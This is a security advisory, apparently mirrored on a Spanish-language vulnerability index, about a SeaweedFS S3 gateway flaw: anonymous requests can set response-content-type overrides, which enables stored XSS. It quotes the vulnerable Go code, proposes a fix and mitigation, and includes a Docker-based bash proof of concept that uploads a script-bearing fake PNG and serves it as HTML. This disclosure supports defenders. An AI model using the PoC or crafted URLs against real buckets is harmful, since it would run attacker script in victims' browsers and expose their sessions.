GHSA-54J8-2GXC-WR9H
S3 gateway applies response header overrides (response-content-type, response-content-disposition) to anonymous requests, enabling stored XSS on publicly readable buckets
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-54J8-2GXC-WR9H divulgada · CVSS 6.1 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
The S3 gateway applies the GetObject response header overrides (`response-content-type`, `response-content-disposition`, `response-content-encoding` and the other `response-*` query parameters) to unsigned, anonymous requests. Amazon S3 forbids this: *"When you use these parameters, you must sign the request by using either an Authorization header or a presigned URL. These parameters cannot be used with an unsigned (anonymous) request."* (GetObject API reference).
Anyone who can read an object anonymously can therefore choose how it is served. An object stored as `image/png` whose bytes contain HTML is served as an inline `text/html` page, which the browser renders and runs.
Details
At tag 4.47 (commit `c507336`), `setResponseHeaders()` in `weed/s3api/s3api_object_handlers.go` (lines 2254-2263) copies every query parameter listed in `s3_constants.PassThroughHeaders` (`weed/s3api/s3_constants/header.go:304`) into the response headers. It does not check how the request was authenticated:
// Apply S3 passthrough headers from query parameters
// ...
// This allows presigned URLs to control how browsers handle the downloaded content
if r != nil {
for queryParam, headerValue := range r.URL.Query() {
if normalizedHeader, ok := s3_constants.PassThroughHeaders[strings.ToLower(queryParam)]; ok && len(headerValue) > 0 && headerValue[0] != "" {
w.Header().Set(normalizedHeader, headerValue[0])
}
}
}The comment states that the feature is meant for presigned URLs, but anonymous requests reach it too. A minimal fix is to skip the loop for anonymous requests, which the gateway can already detect (`getRequestAuthType(r) == authTypeAnonymous`, used in `s3api_server.go` and `s3api_bucket_handlers.go`):
if r != nil && getRequestAuthType(r) != authTypeAnonymous {Returning 403 instead would also match AWS behaviour.
Sub-resources are correctly refused to anonymous callers (`?acl`, `?policy`, `?cors`, `?versioning` and listing return 403). Only the response overrides are accepted.
PoC
Deployment: stock `chrislusf/seaweedfs:4.47` image (index digest `sha256:ce9e796f1fe6f06968f4c04bdaf8f678dad9c8acdfef3d244133d71bfa6bf882`), `weed server -s3` with its default configuration and one admin identity (`AWS_ACCESS_KEY_ID` / `AWS_SECRET_ACCESS_KEY`), so anonymous access is denied by default. The attacker reaches only the S3 port, with no credentials.
The script below needs only Docker (curl runs in a container) and cleans up after itself. It does the following:
- Starts the server.
- Creates bucket `assets` with a standard bucket policy granting `s3:GetObject` on `assets/*` to `Principal: *`. This is the usual set-up for a bucket of public assets served to browsers.
- As the admin, uploads `avatar.png` with `Content-Type: image/png` and the body `<html><script>alert(document.domain)</script></html>`.
- Reads the object anonymously, with and without overrides.
#!/usr/bin/env bash
# Minimal reproduction: SeaweedFS honours S3 response header overrides on anonymous requests.
# Needs docker and curl >= 7.75 (for --aws-sigv4). Cleans up after itself.
set -euo pipefail
IMAGE="${IMAGE:-chrislusf/seaweedfs:4.47}"
KEY=reproadmin
SECRET=reproadmin
NET=swfs-repro
S3=http://s3:8333
docker network create "$NET" >/dev/null
cleanup() { docker rm -f s3 >/dev/null 2>&1 || true; docker network rm "$NET" >/dev/null 2>&1 || true; }
trap cleanup EXIT
# Stock server, S3 gateway with one admin identity (anonymous access is denied by default).
docker run -d --name s3 --network "$NET" -e AWS_ACCESS_KEY_ID="$KEY" -e AWS_SECRET_ACCESS_KEY="$SECRET" \
"$IMAGE" server -s3 >/dev/null
c() { docker run --rm --network "$NET" curlimages/curl:8.10.1 "$@"; }
signed=(--aws-sigv4 "aws:amz:us-east-1:s3" --user "$KEY:$SECRET" -H "x-amz-content-sha256: UNSIGNED-PAYLOAD")
until c -fs "$S3/healthz" >/dev/null 2>&1; do sleep 1; done
sleep 3
# 1. A bucket whose objects are readable anonymously (GetObject only), as for any public assets bucket.
c -fs "${signed[@]}" -X PUT "$S3/assets" >/dev/null
c -fs "${signed[@]}" -X PUT "$S3/assets?policy" --data '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"AWS":["*"]},"Action":["s3:GetObject"],"Resource":["arn:aws:s3:::assets/*"]}]}' >/dev/null
# 2. An object stored as an image, whose bytes contain HTML (e.g. a polyglot uploaded by a user).
c -fs "${signed[@]}" -X PUT -H "Content-Type: image/png" --data '<html><script>alert(document.domain)</script></html>' "$S3/assets/avatar.png" >/dev/null
echo "== Anonymous GET, no override (expected: image/png)"
c -s -o /dev/null -D - "$S3/assets/avatar.png" | grep -i -E '^(HTTP|content-type|content-disposition)'
echo "== Anonymous GET with response-content-type=text/html (expected: 403 or image/png; AWS rejects unsigned overrides)"
c -s -o /dev/null -D - "$S3/assets/avatar.png?response-content-type=text/html&response-content-disposition=inline" | grep -i -E '^(HTTP|content-type|content-disposition)'Output:
== Anonymous GET, no override (expected: image/png)
HTTP/1.1 200 OK
Content-Type: image/png
== Anonymous GET with response-content-type=text/html (expected: 403 or image/png; AWS rejects unsigned overrides)
HTTP/1.1 200 OK
Content-Disposition: inline
Content-Type: text/htmlExpected (Amazon S3): the anonymous request carrying `response-*` parameters is rejected, or the parameters are ignored and the stored headers are served. Actual: the overrides are applied.
Impact
This is stored cross-site scripting through an authorization flaw.
- The bucket policy grants anonymous read only, and the owner stored the object with a safe `Content-Type`. An unauthenticated client can still rewrite the headers the object is served with, turning stored data into active HTML.
- This matters wherever an anonymously readable bucket holds attacker-influenced content, which is the common case of user uploads (avatars, listing images, attachments). Polyglot image/HTML files pass extension, declared-type and image-header checks.
- When the bucket is served from the application's own domain, the injected script runs with that origin's cookies and DOM, against every user who opens the crafted link. A reverse proxy mapping `/public/` to the bucket is a common set-up.
- `response-content-encoding` can also be forced, which corrupts or disguises content served to other users.
Mitigation until a fix: a reverse proxy in front of the public bucket can drop the query string and add `X-Content-Type-Options: nosniff`.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Gogithub.com/seaweedfs/seaweedfs |
Sin parche | — | — | — |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/seaweedfs/seaweedfs/security/advisories/GHSA-54j8-2gxc-wr9hLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
